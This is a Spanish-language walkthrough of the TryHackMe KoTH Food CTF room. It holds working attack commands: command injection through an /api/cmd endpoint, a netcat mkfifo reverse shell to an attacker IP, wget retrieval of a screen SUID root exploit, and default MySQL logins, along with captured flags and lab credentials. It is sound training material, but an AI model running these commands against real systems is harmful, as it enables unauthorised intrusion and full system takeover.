Vamos con la habitación KoTH Food CTF, que sirve para practicar a solas el juego de Rey de la Colina y consiste en capturar las 8 banderas que hay. A ver cómo se da.

Comenzamos como siempre con Rustscan:

rustscan -a IP_objetivo -- -A

Hay un montón de puertos abiertos:

  • 22 ssh
  • 9999 Abyss?
  • 15065 Golang net/http server
  • 16109 desconocido
  • 3306 MySQL
  • 46969 telnet

En el servidor web del puerto 15065 encontramos que está bajo mantenimiento, la culpa es de Dan, que siempre está trasteando con los servidores de producción.

A ver qué dice Gobuster:

gobuster dir -u http://10.10.247.32:15065 -w /usr/share/wordlists/dirb/common.txt

Nos encuentra un directorio /monitor que, si visitamos, tiene un formulario para hacer ping en una IP. Debajo pone

Hopefully this will stop Dan from crashing the servers, now that we can monitor them.

En el código fuente pone

Lately, our maintenance engineer keeps complaining that people are turning the servers off Hopefully this tool should be enough to check on them, and it only took a few minutes to build!

Se hace por javascript y si visito main.js pone

//Steve said I should obfuscate my code to make it better. I don’t really understand but it works so meh

El código javascript tiene una función de comprobación de que la IP es correcta, de modo que poner una IP y añadir ; comando-de-sistema no funciona para inyectar.

Examinamos el código desofuscado y vemos que hace una llamada post. La última parte es la IP una vez pasado por la función de comprobación si es correcta.

const _0x27c227 = await postData('/api/cmd', 'ping\x20-c\x204\x20' + _0x1185f3);

Observemos la imagen de abajo, de la parte Network dentro del Inspector de Firefox, podemos tratar de reconstruir la petición con curl saltando la función de validación.

curl IP_Objetivo:15065/api/cmd -X POST -d "ls -ahl"

Examinemos, con curl estamos haciendo una petición a lo mismo que la función javascript pero en bruto.

  • -X POST -X o –request son lo mismo y le decimos que dicha petición es del tipo POST, es decir, nosotros enviamos algo.
  • -d p –data es los datos que enviamos con POST, en este caso, le enviamos un comando de sistema ls -ahl a ver si lo acepta.

Y lo hace, tenemos la posibilidad de inyectar comandos desde ahí.

Si leemos el /etc/passwd vemos esto

tryhackme❌1000:1000:thm:/home/tryhackme:/bin/bash
telnetd❌111:113::/nonexistent:/usr/sbin/nologin
food❌1001:1001:,,,:/home/food:/bin/bash
mysql❌112:114:MySQL Server,,,:/nonexistent:/bin/false
pasta❌1002:1002:,,,:/home/pasta:/bin/bash
ramen❌1003:1003:,,,:/home/ramen:/bin/bash
bread❌1004:1004:,,,:/home/bread:/bin/bash

¿Qué podemos hacer con esto? Pasarle una shell inversa de una línea en bash para tener mejor acceso. Así que montamos un escuchador de Netcat en el puerto 4000.

nc -lvnp 4000

Y ahora le pasamos como comando esta línea para generar esa shell inversa:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.8.6.110 4242 >/tmp/f

De modo que quedaría:

curl IP_Objetivo:15065/api/cmd -X POST -d "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc IP_Ataque 4000 >/tmp/f"

Con eso ya tenemos una shell inversa con la que trabajar mejor. Somos el usuario bread, hago ls -hl y veo la primera bandera en el archivo flag, pero no tengo permiso para cambiarlo ni leerlo.

Mientras tanto, el puerto desconocido 16109 es un servidor web con una foto de carne que descargo y analizo con steghide. Sin necesidad de contraseña, me saca unas credenciales. De hecho, probando con stegseek y rockyou.txt con fuerza bruta ya me lo sacaba diciendo que sin contraseña ya salían.

stegseek -sf meat.jpeg -wl /usr/share/wordlists/rockyou.txt # En caso de que hubiera tenido contraseña la hubiera roto así.
steghide extract -sf meat.jpeg # Sacar las credenciales de la manera normal, no hace falta contraseña

Las credenciales son del usuario pasta:pastaisdynamic, al cambiar el usuario no hay nada en su directorio y tampoco archivos flag que le pertenezcan, al menos así de primeras con esta búsqueda.

find / -type f -iname "*flag*" -user pasta 2>/dev/null

Sin embargo, dados los permisos tan raros de la bandera del usuario bred, que además no me deja cambiar por algún motivo, desde el usuario pasta sí puedo leer el archivo flag en el directorio /home/bread, así que he aquí una bandera:

thm{7baf5aa8491a4b7b1c2d231a24aec575}

Mientras tanto, tratamos de conectar con el servidor MySQL que está en el puerto 3306 por defecto con las credenciales root:root por defecto a ver si suena la flauta.

mysql -h IP_Objetivo -u root -p

Y suena, hemos entrado.

Ahora, en MySQL ejecutamos:

show databases; # Muestra bases de datos, aparecen varias y una de ellas se llama Users
use Users; # Seleccionamos esa base de datos para trabajar
show tables; # Nos muestra las tablas y aparece una llamada User
select * from User # Vemos qué tiene la tabla

Tiene unas credenciales y una bandera:

ramen:noodlesRTheBest

thm{2f30841ff8d9646845295135adda8332}

De primeras, el usuario ramen no tiene bandera en su directorio, tampoco archivos llamados flag que le pertenezcan y sudo -l no nos da nada especial.

Cuando intentamos conectar por Telnet con:

telnet IP_Objetivo 46969

Nos hace un saludo extraño que pone:

tccr:uwjsasqccywsg

Decodificando con el método Rot13 en cualquier web que lo haga, no nos sale nada, pero con ROT12 sí, otras credenciales.

food:givemecookies

Cambiando de usuario en nuestra shell, vemos que en su directorio la bandera está en un archivo oculto .flag

thm{58a3cb46855af54d0660b34fd20a04c1}

Hora de tratar de escalar privilegios. Estoy con ramen y busco archivos suid.

find / -type f -perm -u=s 2>/dev/null

Veo que tiene screen 4.5.0 con bit Suid, y hay un exploit aquí que permite escalar privilegios.

https://www.exploit-db.com/exploits/41154

Lo descargo y lo subo al objetivo:

python3 -m http.server 4000 # Creo servidor web en mi máquina con Python en el directorio donde tengo el exploit
wget IP_Ataque:4000/exploit.sh # Ejecuto esto en la máquina víctima para traerlo.
chmod +x exploit.sh # Le doy permisos de ejecución
./exploit.sh

Al ejecutar, me da un error Bad Interpreter, pero con este comando:

sed -i -e 's/\r$//' exploit.sh

Se solventa el error, se ejecuta y funciona, tengo consola de root.

La estabilizo.

script -qc /bin/bash /den/null

Tenemos bandera en la carpeta root:

thm{9f1ee18d3021d135b03b943cc58f34db}

Con esa escalada, busco los archivos que se llamen flag.

find / -type f -iname "*flag*" 2>/dev/null

Y aparecen unos cuantos, la del usuario tryhackme, cuyas credenciales no hemos obtenido. > thm{5a926ab5d3561e976f4ae5a7e2d034fe}

Hay otra en la carpeta /var y van 6:

thm{0c48608136e6f8c86aecdb5d4c3d7ba8}

Cuando visito el puerto 9999 en el navegador pone king, que es lo mismo que pone en king.txt dentro del directorio de root.

Lo cierto es que me faltan 2 banderas.